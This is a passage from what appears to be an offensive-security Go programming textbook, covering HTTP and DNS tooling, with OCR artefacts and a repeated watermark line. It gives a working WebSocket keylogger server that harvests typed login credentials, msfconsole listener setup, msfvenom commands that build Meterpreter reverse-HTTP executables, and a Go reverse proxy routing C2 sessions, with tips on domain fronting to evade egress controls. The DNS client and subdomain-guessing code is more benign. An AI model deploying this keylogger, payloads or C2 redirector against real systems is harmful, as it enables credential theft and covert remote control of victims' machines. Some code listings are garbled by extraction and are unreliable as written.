flag.StringVar(&wsAddr, "ws-addr", "", "Address for WebSocket connection")
flag.Parse()
var err error
w jsTemplate, err = template.ParseFiles("logger.js")
if err != nil {
panic(err)
}
}
func serveWS(w http.ResponseWriter, r *http.Request) {
x conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
http.Error(w, "", 500)
return
}
defer conn.Close()
fmt.Printf("Connection from %s\n", conn.RemoteAddr().String())
前沿信安资讯阵地 公众号:i nf osrc
96 Chapter 4
for {
y _, msg, err := conn.ReadMessage()
if err != nil {
return
}
z fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))
}
}
func serveFile(w http.ResponseWriter, r *http.Request) {
{ w.Header().Set("Content-Type", "application/javascript")
| jsTemplate.Execute(w, wsAddr)
}
func main() {
r := mux.NewRouter()
} r.HandleFunc("/ws", serveWS)
~ r.HandleFunc("/k.js", serveFile)
log.Fatal(http.ListenAndServe(":8080", r))
}
Listing 4-9: Keylogging server (/ch-4/websocket _keylogger /main.go)
We have a lot to cover here. First, note that you’re using another third-party
package, gorilla/websocket, to handle your WebSocket communications u.
This is a full-featured, powerful package that simplifies your development
process, like the gorilla/mux router you used earlier in this chapter. Don’t
forget to run go get github.com/gorilla/websocket from your terminal first.
You then define several variables. You create a websocket.Upgrader instance
that’ll essentially whitelist every origin v. It’s typically bad security practice to
allow all origins, but in this case, we’ll roll with it since this is a test instance
we’ll run on our local workstations. For use in an actual malicious deploy-
ment, you’d likely want to limit the origin to an explicit value.
Within your init() function, which executes automatically before
main(), you define your command line arguments and attempt to parse
your Go template stored in the logger.js file. Notice that you’re calling
template.ParseFiles("logger.js") w. You check the response to make sure
the file parsed correctly. If all is successful, you have your parsed template
stored in a variable named jsTemplate.
At this point, you haven’t provided any contextual data to your tem-
plate or executed it. That’ll happen shortly. First, however, you define a
function named serveWS() that you’ll use to handle your WebSocket com-
munications. You create a new websocket.Conn instance by calling upgrader
.Upgrade(http .ResponseWriter, *http.Request, http.Header) x. The Upgrade()
method upgrades the HTTP connection to use the WebSocket protocol.
That means that any request handled by this function will be upgraded
to use WebSockets. You interact with the connection within an infinite
for loop, calling conn.ReadMessage() to read incoming messages y. If your
JavaScript works appropriately, these messages should consist of captured
keystrokes. You write these messages and the client’s remote IP address
to stdout z.
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 97
You’ve tackled arguably the hardest piece of the puzzle in creating
your WebSocket handler. Next, you create another handler function
named serveFile(). This function will retrieve and return the contents of
your JavaScript template, complete with contextual data included. To do
this, you set the Content-Type header as application/javascript {. This will
tell connecting browsers that the contents of the HTTP response body
should be treated as JavaScript. In the second and last line of the handler
function, you call jsTemplate.Execute(w, wsAddr) |. Remember how you
parsed logger.js while you were bootstrapping your server in the init()
function? You stored the result within the variable named jsTemplate. This
line of code processes that template. You pass to it an io.Writer (in this
case, you’re using w, an http.ResponseWriter) and your contextual data of
type interface{}. The interface{} type means that you can pass any type
of variable, whether they’re strings, structs, or something else. In this
case, you’re passing a string variable named wsAddr. If you jump back up
to the init() function, you’ll see that this variable contains the address of
your WebSocket server and is set via a command line argument. In short,
it populates the template with data and writes it as an HTTP response.
Pretty slick!
You’ve implemented your handler functions, serveFile() and serveWS().
Now, you just need to configure your router to perform pattern matching so
that you can pass execution to the appropriate handler. You do this, much
as you have previously, in your main() function. The first of your two handler
functions matches the /ws URL pattern, executing your serveWS() function to
upgrade and handle WebSocket connections }. The second route matches
the pattern /k.js, executing the serveFile() function as a result ~. This is how
your server pushes a rendered JavaScript template to the client.
Let’s fire up the server. If you open the HTML file, you should
see a message that reads connection established. This is logged because
your JavaScript file has been rendered in the browser and requested a
WebSocket connection. If you enter credentials into the form elements,
you should see them printed to stdout on the server:
$ go run main.go -listen-addr=127.0.0.1:8080 -ws-addr=127.0.0.1:8080
Connection from 127.0.0.1:58438
From 127.0.0.1:58438: u
From 127.0.0.1:58438: s
From 127.0.0.1:58438: e
From 127.0.0.1:58438: r
From 127.0.0.1:58438:
From 127.0.0.1:58438: p
From 127.0.0.1:58438: @
From 127.0.0.1:58438: s
From 127.0.0.1:58438: s
From 127.0.0.1:58438: w
From 127.0.0.1:58438: o
From 127.0.0.1:58438: r
From 127.0.0.1:58438: d
前沿信安资讯阵地 公众号:i nf osrc
98 Chapter 4
You did it! It works! Your output lists each individual keystroke that was
pressed when filling out the login form. In this case, it’s a set of user creden-
tials. If you’re having issues, make sure you’re supplying accurate addresses
as command line arguments. Also, the HTML file itself may need tweaking
if you’re attempting to call k.js from a server other than localhost:8080.
You could improve this code in several ways. For one, you might want to
log the output to a file or other persistent storage, rather than to your ter-
minal. This would make you less likely to lose your data if the terminal win-
dow closes or the server reboots. Also, if your keylogger logs the keystrokes
of multiple clients simultaneously, the output will mix the data, making it
potentially difficult to piece together a specific user’s credentials. You could
avoid this by finding a better presentation format that, for example, groups
keystrokes by unique client/port source.
Your journey through credential harvesting is complete. We’ll end
this chapter by presenting multiplexing HTTP command-and-control
connections.
Multiplexing Command-and-Control
You’ve arrived at the last section of the chapter on HTTP servers. Here, you’ll
look at how to multiplex Meterpreter HTTP connections to different backend
control servers. Meterpreter is a popular, flexible command-and-control (C2)
suite within the Metasploit exploitation framework. We won’t go into too
many details about Metasploit or Meterpreter. If you’re new to it, we recom-
mend reading through one of the many tutorial or documentation sites.
In this section, we’ll walk through creating a reverse HTTP proxy in
Go so that you can dynamically route your incoming Meterpreter sessions
based on the Host HTTP header, which is how virtual website hosting works.
However, instead of serving different local files and directories, you’ll proxy
the connection to different Meterpreter listeners. This is an interesting use
case for a few reasons.
First, your proxy acts as a redirector, allowing you to expose only that
domain name and IP address without exposing your Metasploit listeners.
If the redirector ever gets blacklisted, you can simply move it without having
to move your C2 server. Second, you can extend the concepts here to per-
form domain fronting, a technique for leveraging trusted third-party domains
(often from cloud providers) to bypass restrictive egress controls. We won’t go
into a full-fledged example here, but we highly recommend you dig into it, as
it can be pretty powerful, allowing you to egress restricted networks. Lastly,
the use case demonstrates how you can share a single host/port combination
among a team of allies potentially attacking different target organizations.
Since ports 80 and 443 are the most likely allowed egress ports, you can use
your proxy to listen on those ports and intelligently route the connections to
the correct listener.
Here’s the plan. You’ll set up two separate Meterpreter reverse HTTP
listeners. In this example, these will reside on a virtual machine with an IP
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 99
address of 10.0.1.20, but they could very well exist on separate hosts. You’ll
bind your listeners to ports 10080 and 20080, respectively. In a real situ-
ation, these listeners can be running anywhere so long as the proxy can
reach those ports. Make sure you have Metasploit installed (it comes pre-
installed on Kali Linux); then start your listeners.
$ msfconsole
> use exploit/multi/handler
> set payload windows/meterpreter_reverse_http
u > set LHOST 10.0.1.20
> set LPORT 80
v > set ReverseListenerBindAddress 10.0.1.20
> set ReverseListenerBindPort 10080
> exploit -j -z
[*] Exploit running as background job 1.
[*] Started HTTP reverse handler on http://10.0.1.20:10080
When you start your listener, you supply the proxy data as the LHOST
and LPORT values u. However, you set the advanced options ReverseListener
BindAddress and ReverseListenerBindPort to the actual IP and port on which
you want the listener to start v. This gives you some flexibility in port usage
while allowing you to explicitly identify the proxy host—which may be a
hostname, for example, if you were setting up domain fronting.
On a second instance of Metasploit, you’ll do something similar to start
an additional listener on port 20080. The only real difference here is that
you’re binding to a different port:
$ msfconsole
> use exploit/multi/handler
> set payload windows/meterpreter_reverse_http
> set LHOST 10.0.1.20
> set LPORT 80
> set ReverseListenerBindAddress 10.0.1.20
> set ReverseListenerBindPort 20080
> exploit -j -z
[*] Exploit running as background job 1.
[*] Started HTTP reverse handler on http://10.0.1.20:20080
Now, let’s create your reverse proxy. Listing 4-10 shows the code in
its entirety.
package main
import (
"log"
"net/http"
u "net/http/httputil"
"net/url"
前沿信安资讯阵地 公众号:i nf osrc
100 Chapter 4
"github.com/gorilla/mux"
)
v var (
hostProxy = make(map[string]string)
proxies = make(map[string]*httputil.ReverseProxy)
)
func init() {
w hostProxy["attacker1.com"] = "http://10.0.1.20:10080"
hostProxy["attacker2.com"] = "http://10.0.1.20:20080"
for k, v := range hostProxy {
x remote, err := url.Parse(v)
if err != nil {
log.Fatal("Unable to parse proxy target")
}
y proxies[k] = httputil.NewSingleHostReverseProxy(remote)
}
}
func main() {
r := mux.NewRouter()
for host, proxy := range proxies {
z r.Host(host).Handler(proxy)
}
log.Fatal(http.ListenAndServe(":80", r))
}
Listing 4-10: Multiplexing Meterpreter (/ch-4 /multiplexer /main.go)
First off, you’ll notice that you’re importing the net/http/httputil pack-
age u, which contains functionality to assist with creating a reverse proxy.
It’ll save you from having to create one from scratch.
After you import your packages, you define a pair of variables v. Both
variables are maps. You’ll use the first, hostProxy, to map hostnames to the
URL of the Metasploit listener to which you’ll want that hostname to route.
Remember, you’ll be routing based on the Host header that your proxy
receives in the HTTP request. Maintaining this mapping is a simple way
to determine destinations.
The second variable you define, proxies, will also use hostnames as its
key values. However, their corresponding values in the map are *httputil
.ReverseProxy instances. That is, the values will be actual proxy instances to
which you can route, rather than string representations of the destination.
Notice that you’re hardcoding this information, which isn’t the most
elegant way to manage your configuration and proxy data. A better imple-
mentation would store this information in an external configuration file
instead. We’ll leave that as an exercise for you.
前沿信安资讯阵地 公众号:i nf osrc
HTTP Servers, Routing, and Middleware 101
You use an init() function to define the mappings between domain
names and destination Metasploit instances w. In this case, you’ll route
any request with a Host header value of attacker1.com to http://10.0.1.20
:10080 and anything with a Host header value of attacker2.com to http://
10.0.1.20:20080. Of course, you aren’t actually doing the routing yet; you’re
just creating your rudimentary configuration. Notice that the destinations
correspond to the ReverseListenerBindAddress and ReverseListenerBindPort
values you used for your Meterpreter listeners earlier.
Next, still within your init() function, you loop over your hostProxy
map, parsing the destination addresses to create net.URL instances x. You
use the result of this as input into a call to httputil.NewSingleHostReverseProxy
(net.URL) y, which is a helper function that creates a reverse proxy from a
URL. Even better, the httputil.ReverseProxy type satisfies the http.Handler
interface, which means you can use the created proxy instances as handlers
for your router. You do this within your main() function. You create a router
and then loop over all of your proxy instances. Recall that the key is the
hostname, and the value is of type httputil.ReverseProxy. For each key/value
pair in your map, you add a matching function onto your router z. The
Gorilla MUX toolkit’s Route type contains a matching function named Host
that accepts a hostname to match Host header values in incoming requests
against. For each hostname you want to inspect, you tell the router to use
the corresponding proxy. It’s a surprisingly easy solution to what could
other wise be a complicated problem.
Your program finishes by starting the server, binding it to port 80. Save
and run the program. You’ll need to do so as a privileged user since you’re
binding to a privileged port.
At this point, you have two Meterpreter reverse HTTP listeners run-
ning, and you should have a reverse proxy running now as well. The last
step is to generate test payloads to check that your proxy works. Let’s use
msfvenom, a payload generation tool that ships with Metasploit, to generate
a pair of Windows executable files:
$ msfvenom -p windows/meterpreter_reverse_http LHOST=10.0.1.20 LPORT=80
HttpHostHeader=attacker1.com -f exe -o payload1.exe
$ msfvenom -p windows/meterpreter_reverse_http LHOST=10.0.1.20 LPORT=80
HttpHostHeader=attacker2.com -f exe -o payload2.exe
This generates two output files named payload1.exe and payload2.exe.
Notice that the only difference between the two, besides the output filename,
is the HttpHostHeader values. This ensures that the resulting payload sends its
HTTP requests with a specific Host header value. Also of note is that the LHOST
and LPORT values correspond to your reverse proxy information and not your
Meterpreter listeners. Transfer the resulting executables to a Windows sys-
tem or virtual machine. When you execute the files, you should see two new
前沿信安资讯阵地 公众号:i nf osrc
102 Chapter 4
sessions established: one on the listener bound to port 10080, and one on the
listener bound to port 20080. They should look something like this:
>
[*] http://10.0.1.20:10080 handling request from 10.0.1.20; (UUID: hff7podk) Redirecting stageless
connection from /pxS_2gL43lv34_birNgRHgL4AJ3A9w3i9FXG3Ne2-3UdLhACr8-Qt6QOlOw
PTkzww3NEptWTOan2rLo5RT42eOdhYykyPYQy8dq3Bq3Mi2TaAEB with UA 'Mozilla/5.0 (Windows NT 6.1;
Trident/7.0;
rv:11.0) like Gecko'
[*] http://10.0.1.20:10080 handling request from 10.0.1.20; (UUID: hff7podk) Attaching
orphaned/stageless session...
[*] Meterpreter session 1 opened (10.0.1.20:10080 -> 10.0.1.20:60226) at 2020-07-03 16:13:34 -0500
If you use tcpdump or Wireshark to inspect network traffic destined
for port 10080 or 20080, you should see that your reverse proxy is the only
host communicating with the Metasploit listener. You can also confirm
that the Host header is set appropriately to attacker1.com (for the listener on
port 10080) and attacker2.com (for the listener on port 20080).
That’s it. You’ve done it! Now, take it up a notch. As an exercise for you,
we recommend you update the code to use a staged payload. This likely
comes with additional challenges, as you’ll need to ensure that both stages
are properly routed through the proxy. Further, try to implement it by using
HTTPS instead of cleartext HTTP. This will further your understanding
and effectiveness at proxying traffic in useful, nefarious ways.
Summary
You’ve completed your journey of HTTP, working through both client and
server implementations over the last two chapters. In the next chapter,
you’ll focus on DNS, an equally useful protocol for security practitioners.
In fact, you’ll come close to replicating this HTTP multiplexing example
using DNS.
前沿信安资讯阵地 公众号:i nf osrc
The Domain Name System (DNS) locates
internet domain names and translates
them to IP addresses. It can be an effective
weapon in the hands of an attacker, because
organizations commonly allow the protocol to egress
restricted networks and they frequently fail to monitor
its use adequately. It takes a little knowledge, but savvy attackers can leverage
these issues throughout nearly every step of an attack chain, including
reconnaissance, command and control (C2), and even data exfiltration. In
this chapter, you’ll learn how to write your own utilities by using Go and
third-party packages to perform some of these capabilities.
You’ll start by resolving hostnames and IP addresses to reveal the many
types of DNS records that can be enumerated. Then you’ll use patterns
illustrated in earlier chapters to build a massively concurrent subdomain-
guessing tool. Finally, you’ll learn how to write your own DNS server and
proxy, and you’ll use DNS tunneling to establish a C2 channel out of a
restrictive network!
5
E X PL O I T ING DN S
前沿信安资讯阵地 公众号:i nf osrc
104 Chapter 5
Writing DNS Clients
Before exploring programs that are more complex, let’s get acquainted with
some of the options available for client operations. Go’s built-in net package
offers great functionality and supports most, if not all, record types. The
upside to the built-in package is its straightforward API. For example,
LookupAddr(addr string) returns a list of hostnames for a given IP address.
The downside of using Go’s built-in package is that you can’t specify the
destination server; instead, the package will use the resolver configured
on your operating system. Another downside is that you can’t run deep
inspection of the results.
To get around this, you’ll use an amazing third-party package called the
Go DNS package written by Miek Gieben. This is our preferred DNS package
because it’s highly modular, well written, and well tested. Use the following
to install this package:
$ go get github.com/miekg/dns
Once the package is installed, you’re ready to follow along with the
upcoming code examples. You’ll begin by performing A record lookups
in order to resolve IP addresses for hostnames.
Retrieving A Records
Let’s start by performing a lookup for a fully qualified domain name (FQDN),
which specifies a host’s exact location in the DNS hierarchy. Then we’ll
attempt to resolve that FQDN to an IP address, using a type of DNS record
called an A record. We use A records to point a domain name to an IP
address. Listing 5-1 shows an example lookup. (All the code listings at the
root location of / exist under the provided github repo https://github.com/
blackhat-go/bhg/.)
package main
import (
"fmt"
"github.com/miekg/dns"
)
func main() {
u var msg dns.Msg
v fqdn := dns.Fqdn("stacktitan.com")
w msg.SetQuestion(fqdn, dns.TypeA)
x dns.Exchange(&msg, "8.8.8.8:53")
}
Listing 5-1: Retrieving an A record (/ch-5/get_a /main.go)
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 105
Start by creating a new Msg u and then call fqdn(string) to transform
the domain into a FQDN that can be exchanged with a DNS server v. Next,
modify the internal state of the Msg with a call to SetQuestion(string, uint16)
by using the TypeA value to denote your intent to look up an A record w.
(This is a const defined in the package. You can view the other supported
values in the package documentation.) Finally, place a call to Exchange(*Msg,
string) x in order to send the message to the provided server address,
which is a DNS server operated by Google in this case.
As you can probably tell, this code isn’t very useful. Although you’re
sending a query to a DNS server and asking for the A record, you aren’t
processing the answer; you aren’t doing anything meaningful with the
result. Prior to programmatically doing that in Go, let’s first review what
the DNS answer looks like so that we can gain a deeper understanding
of the protocol and the different query types.
Before you execute the program in Listing 5-1, run a packet analyzer,
such as Wireshark or tcpdump, to view the traffic. Here’s an example of
how you might use tcpdump on a Linux host:
$ sudo tcpdump -i eth0 -n udp port 53
In a separate terminal window, compile and execute your program
like this:
$ go run main.go
Once you execute your code, you should see a connection to 8.8.8.8
over UDP 53 in the output from your packet capture. You should also see
details about the DNS protocol, as shown here:
$ sudo tcpdump -i eth0 -n udp port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
23:55:16.523741 IP 192.168.7.51.53307 > 8.8.8.8.53:u 25147+ A?v stacktitan.com. (32)
23:55:16.650905 IP 8.8.8.8.53 > 192.168.7.51.53307: 25147 1/0/0 A 104.131.56.170 (48) w
The packet capture output produces a couple of lines that require fur-
ther explanation. First, a query is being placed from 192.168.7.51 to 8.8.8.8
by using UDP 53 u while requesting a DNS A record v. The response w is
returned from Google’s 8.8.8.8 DNS server, which contains the resolved IP
address, 104.131.56.170.
Using a packet analyzer such as tcpdump, you’re able to resolve the
domain name stacktitan.com to an IP address. Now let’s take a look at how
to extract that information by using Go.
前沿信安资讯阵地 公众号:i nf osrc
106 Chapter 5
Processing Answers from a Msg struct
The returned values from Exchange(*Msg, string) are (*Msg, error). Returning
the error type makes sense and is common in Go idioms, but why does it
return *Msg if that’s what you passed in? To clarify this, look at how the
struct is defined in the source:
type Msg struct {
MsgHdr
Compress bool `json:"-"` // If true, the message will be compressed...
u Question []Question // Holds the RR(s) of the question section.
v Answer []RR // Holds the RR(s) of the answer section.
Ns []RR // Holds the RR(s) of the authority section.
Extra []RR // Holds the RR(s) of the additional section.
}
As you can see, the Msg struct holds both questions and answers. This lets
you consolidate all your DNS questions and their answers into a single, unified
structure. The Msg type has various methods that make working with the data
easier. For example, the Question slice u is being modified with the convenience
method SetQuestion(). You could modify this slice directly by using append() and
achieve the same outcome. The Answer slice v holds the response to the queries
and is of type RR. Listing 5-2 demonstrates how to process the answers.
package main
import (
"fmt"
"github.com/miekg/dns"
)
func main() {
var msg dns.Msg
fqdn := dns.Fqdn("stacktitan.com")
msg.SetQuestion(fqdn, dns.TypeA)
u in, err := dns.Exchange(&msg, "8.8.8.8:53")
if err != nil {
panic(err)
}
v if len(in.Answer) < 1 {
fmt.Println("No records")
return
}
for _, answer := range in.Answer {
if aw, ok:= answer.(*dns.A)x; ok {
y fmt.Println(a.A)
}
}
}
Listing 5-2: Processing DNS answers (/ch-5/get_all_a /main.go)
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 107
Our example begins by storing the values returned from Exchange,
checking whether there was an error, and if so, calling panic() to stop the
program u. The panic() function lets you quickly see the stack trace and
identify where the error occurred. Next, validate that the length of the
Answer slice is at least 1 v, and if it isn’t, indicate that there are no records
and immediately return—after all, there will be legitimate instances when
the domain name cannot be resolved.
The type RR is an interface with only two defined methods, and neither
allows access to the IP address stored in the answer. To access those IP
addresses, you’ll need to perform a type assertion to create an instance
of the data as your desired type.
First, loop over all the answers. Next, perform the type assertion on the
answer to ensure that you’re dealing with a *dns.A type w. When performing
this action, you can receive two values: the data as the asserted type and a
bool representing whether the assertion was successful x. After checking
whether the assertion was successful, print the IP address stored in a.A y.
Although the type is net.IP, it does implement a String() method, so you can
easily print it.
Spend time with this code, modifying the DNS query and exchange to
search for additional records. The type assertion may be unfamiliar, but it’s
a similar concept to type casting in other languages.
Enumerating Subdomains
Now that you know how to use Go as a DNS client, you can create useful
tools. In this section, you’ll create a subdomain-guessing utility. Guessing
a target’s subdomains and other DNS records is a foundational step in
reconnaissance, because the more subdomains you know, the more you
can attempt to attack. You’ll supply our utility a candidate wordlist (a
dictionary file) to use for guessing subdomains.
With DNS, you can send requests as fast as your operating system can
handle the processing of packet data. While the language and runtime aren’t
going to become a bottleneck, the destination server will. Controlling the
concurrency of your program will be important here, just as it has been in
previous chapters.
First, create a new directory in your GOPATH called subdomain_guesser,
and create a new file main.go. Next, when you first start writing a new tool,
you must decide which arguments the program will take. This subdomain-
guessing program will take several arguments, including the target domain,
the filename containing subdomains to guess, the destination DNS server
to use, and the number of workers to launch. Go provides a useful package
for parsing command line options called flag that you’ll use to handle your
command line arguments. Although we don’t use the flag package across
all of our code examples, we’ve opted to use it in this case to demonstrate
more robust, elegant argument parsing. Listing 5-3 shows our argument-
parsing code.
前沿信安资讯阵地 公众号:i nf osrc
108 Chapter 5
package main
import (
"flag"
)
func main() {
var (
flDomain = flag.String("domain", "", "The domain to perform guessing against.") u
flWordlist = flag.String("wordlist", "", "The wordlist to use for guessing.")
flWorkerCount = flag.Int("c", 100, "The amount of workers to use.") v
flServerAddr = flag.String("server", "8.8.8.8:53", "The DNS server to use.")
)
flag.Parse() w
}
Listing 5-3: Building a subdomain guesser (/ch-5/subdomain_guesser /main.go)
First, the code line declaring the flDomain variable u takes a String argu-
ment and declares an empty string default value for what will be parsed as
the domain option. The next pertinent line of code is the flWorkerCount vari-
able declaration v. You need to provide an Integer value as the c command
line option. In this case, set this to 100 default workers. But this value is
probably too conservative, so feel free to increase the number when testing.
Finally, a call to flag.Parse() w populates your variables by using the pro-
vided input from the user.
N O T E
You may have noticed that the example is going against Unix law in that it has
defined optional arguments that aren’t optional. Please feel free to use os.Args here.
We just find it easier and faster to let the flag package do all the work.
If you try to build this program, you should receive an error about
unused variables. Add the following code immediately after your call to
flag.Parse(). This addition prints the variables to stdout along with code,
ensuring that the user provided -domain and -wordlist:
if *flDomain == "" || *flWordlist == "" {
fmt.Println("-domain and -wordlist are required")
os.Exit(1)
}
fmt.Println(*flWorkerCount, *flServerAddr)
To allow your tool to report which names were resolvable along with
their respective IP addresses, you’ll create a struct type to store this infor-
mation. Define it above the main() function:
type result struct {
IPAddress string
Hostname string
}
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 109
You’ll query two main record types—A and CNAME—for this tool.
You’ll perform each query in a separate function. It’s a good idea to keep
your functions as small as possible and to have each perform one thing well.
This style of development allows you to write smaller tests in the future.
Querying A and CNAME Records
You’ll create two functions to perform queries: one for A records and the
other for CNAME records. Both functions accept a FQDN as the first argu-
ment and the DNS server address as the second. Each should return a slice
of strings and an error. Add these functions to the code you began defining
in Listing 5-3. These functions should be defined outside main().
func lookupA(fqdn, serverAddr string) ([]string, error) {
var m dns.Msg
var ips []string
m.SetQuestion(dns.Fqdn(fqdn), dns.TypeA)
in, err := dns.Exchange(&m, serverAddr)
if err != nil {
return ips, err
}
if len(in.Answer) < 1 {
return ips, errors.New("no answer")
}
for _, answer := range in.Answer {
if a, ok := answer.(*dns.A); ok {
ips = append(ips, a.A.String())
}
}
return ips, nil
}
func lookupCNAME(fqdn, serverAddr string) ([]string, error) {
var m dns.Msg
var fqdns []string
m.SetQuestion(dns.Fqdn(fqdn), dns.TypeCNAME)
in, err := dns.Exchange(&m, serverAddr)
if err != nil {
return fqdns, err
}
if len(in.Answer) < 1 {
return fqdns, errors.New("no answer")
}
for _, answer := range in.Answer {
if c, ok := answer.(*dns.CNAME); ok {
fqdns = append(fqdns, c.Target)
}
}
return fqdns, nil
}
前沿信安资讯阵地 公众号:i nf osrc
110 Chapter 5
This code should look familiar because it’s nearly identical to the code
you wrote in the first section of this chapter. The first function, lookupA,
returns a list of IP addresses, and lookupCNAME returns a list of hostnames.
CNAME, or canonical name, records point one FQDN to another one that
serves as an alias for the first. For instance, say the owner of the example.com
organization wants to host a WordPress site by using a WordPress hosting
service. That service may have hundreds of IP addresses for balancing all
of their users’ sites, so providing an individual site’s IP address would be
infeasible. The WordPress hosting service can instead provide a canonical
name (a CNAME) that the owner of example.com can reference. So www
.example.com might have a CNAME pointing to someserver.hostingcompany.org,
which in turn has an A record pointing to an IP address. This allows the
owner of example.com to host their site on a server for which they have no
IP information.
Often this means you’ll need to follow the trail of CNAMES to eventu-
ally end up at a valid A record. We say trail because you can have an end-
less chain of CNAMES. Place the function in the following code outside
main() to see how you can use the trail of CNAMES to track down the valid
A record:
func lookup(fqdn, serverAddr string) []result {
u var results []result
v var cfqdn = fqdn // Don't modify the original.
for {
w cnames, err := lookupCNAME(cfqdn, serverAddr)
x if err == nil && len(cnames) > 0 {
y cfqdn = cnames[0]
z continue // We have to process the next CNAME.
}
{ ips, err := lookupA(cfqdn, serverAddr)
if err != nil {
break // There are no A records for this hostname.
}
| for _, ip := range ips {
results = append(results, result{IPAddress: ip, Hostname: fqdn})
}
} break // We have processed all the results.
}
return results
}
First, define a slice to store results u. Next, create a copy of the FQDN
passed in as the first argument v, not only so you don’t lose the original
FQDN that was guessed, but also so you can use it on the first query attempt.
After starting an infinite loop, try to resolve the CNAMEs for the FQDN w.
If no errors occur and at least one CNAME is returned x, set cfqdn to the
CNAME returned y, using continue to return to the beginning of the loop z.
This process allows you to follow the trail of CNAMES until a failure occurs.
If there’s a failure, which indicates that you’ve reached the end of the chain,
you can then look for A records {; but if there’s an error, which indicates
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 111
something went wrong with the record lookup, then you leave the loop
early. If there are valid A records, append each of the IP addresses returned
to your results slice | and break out of the loop }. Finally, return the
results to the caller.
Our logic associated with the name resolution seems sound. However,
you haven’t accounted for performance. Let’s make our example goroutine-
friendly so you can add concurrency.
Passing to a Worker Function
You’ll create a pool of goroutines that pass work to a worker function, which
performs a unit of work. You’ll do this by using channels to coordinate work
distribution and the gathering of results. Recall that you did something
similar in Chapter 2, when you built a concurrent port scanner.
Continue to expand the code from Listing 5-3. First, create the
worker() function and place it outside main(). This function takes three
channel arguments: a channel for the worker to signal whether it has
closed, a channel of domains on which to receive work, and a channel
on which to send results. The function will need a final string argument
to specify the DNS server to use. The following code shows an example
of our worker() function:
type empty struct{} u
func worker(tracker chan empty, fqdns chan string, gather chan []result, serverAddr string) {
for fqdn := range fqdns { v
results := lookup(fqdn, serverAddr)
if len(results) > 0 {
gather <- results w
}
}
var e empty
tracker <- e x
}
Before introducing the worker() function, first define the type empty to
track when the worker finishes u. This is a struct with no fields; you use
an empty struct because it’s 0 bytes in size and will have little impact or
overhead when used. Then, in the worker() function, loop over the domains
channel v, which is used to pass in FQDNs. After getting results from your
lookup() function and checking to ensure there is at least one result, send
the results on the gather channel w, which accumulates the results back
in main(). After the work loop exits because the channel has been closed,
an empty struct is sent on the tracker channel x to signal the caller that all
work has been completed. Sending the empty struct on the tracker channel
is an important last step. If you don’t do this, you’ll have a race condition,
because the caller may exit before the gather channel receives results.
Since all of the prerequisite structure is set up at this point, let’s refocus
our attention back to main() to complete the program we began in Listing 5-3.
前沿信安资讯阵地 公众号:i nf osrc
112 Chapter 5
Define some variables that will hold the results and the channels that will be
passed to worker(). Then append the following code into main():
var results []result
fqdns := make(chan string, *flWorkerCount)
gather := make(chan []result)
tracker := make(chan empty)
Create the fqdns channel as a buffered channel by using the number
of workers provided by the user. This allows the workers to start slightly
faster, as the channel can hold more than a single message before blocking
the sender.
Creating a Scanner with bufio
Next, open the file provided by the user to consume as a word list. With
the file open, create a new scanner by using the bufio package. The scanner
allows you to read the file one line at a time. Append the following code
into main():
fh, err := os.Open(*flWordlist)
if err != nil {
panic(err)
}
defer fh.Close()
scanner := bufio.NewScanner(fh)
The built-in function panic() is used here if the error returned is not
nil. When you’re writing a package or program that others will use, you
should consider presenting this information in a cleaner format.
You’ll use the new scanner to grab a line of text from the supplied word
list and create a FQDN by combining the text with the domain the user
provides. You’ll send the result on the fqdns channel. But you must start the
workers first. The order of this is important. If you were to send your work
down the fqdns channel without starting the workers, the buffered channel
would eventually become full, and your producers would block. You’ll add
the following code to your main() function. Its purpose is to start the worker
goroutines, read your input file, and send work on your fqdns channel.
u for i := 0; i < *flWorkerCount; i++ {
go worker(tracker, fqdns, gather, *flServerAddr)
}
v for scanner.Scan() {
fqdns <- fmt.Sprintf("%s.%s", scanner.Text()w, *flDomain)
}
Creating the workers u by using this pattern should look similar to
what you did when building your concurrent port scanner: you used a for
loop until you reached the number provided by the user. To grab each line
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 113
in the file, scanner.Scan() is used in a loop v. This loop ends when there are
no more lines to read in the file. To get a string representation of the text
from the scanned line, use scanner.Text() w.
The work has been launched! Take a second to bask in greatness. Before
reading the next code, think about where you are in the program and what
you’ve already done in this book. Try to complete this program and then
continue to the next section, where we’ll walk you through the rest.
Gathering and Displaying the Results
To finish up, first start an anonymous goroutine that will gather the results
from the workers. Append the following code into main():
go func() {
for r := range gather {
u results = append(results, r...v)
}
var e empty
w tracker <- e
}()
By looping over the gather channel, you append the received results
onto the results slice u. Since you’re appending a slice to another slice, you
must use the ... syntax v. After you close the gather channel and the loop
ends, send an empty struct to the tracker channel as you did earlier w. This
is done to prevent a race condition in case append() doesn’t finish by the time
you eventually present the results to the user.
All that’s left is closing the channels and presenting the results. Include
the following code at the bottom of main() in order to close the channels
and present the results to the user:
u close(fqdns)
v for i := 0; i < *flWorkerCount; i++ {
<-tracker
}
w close(gather)
x <-tracker
The first channel that can be closed is fqdns u because you’ve already
sent all the work on this channel. Next, you need to receive on the tracker
channel one time for each of the workers v, allowing the workers to signal
that they exited completely. With all of the workers accounted for, you can
close the gather channel w because there are no more results to receive.
Finally, receive one more time on the tracker channel to allow the gathering
goroutine to finish completely x.
The results aren’t yet presented to the user. Let’s fix that. If you wanted
to, you could easily loop over the results slice and print the Hostname and
IPAddress fields by using fmt.Printf(). We prefer, instead, to use one of Go’s
several great built-in packages for presenting data; tabwriter is one of our
favorites. It allows you to present data in nice, even columns broken up by
前沿信安资讯阵地 公众号:i nf osrc
114 Chapter 5
tabs. Add the following code to the end of main() to use tabwriter to print
your results:
w := tabwriter.NewWriter(os.Stdout, 0, 8, 4, ' ', 0)
for _, r := range results {
fmt.Fprintf(w, "%s\t%s\n", r.Hostname, r.IPAddress)
}
w.Flush()
Listing 5-4 shows the program in its entirety.
Package main
import (
"bufio"
"errors"
"flag"
"fmt"
"os"
"text/tabwriter"
"github.com/miekg/dns"
)
func lookupA(fqdn, serverAddr string) ([]string, error) {
var m dns.Msg
var ips []string
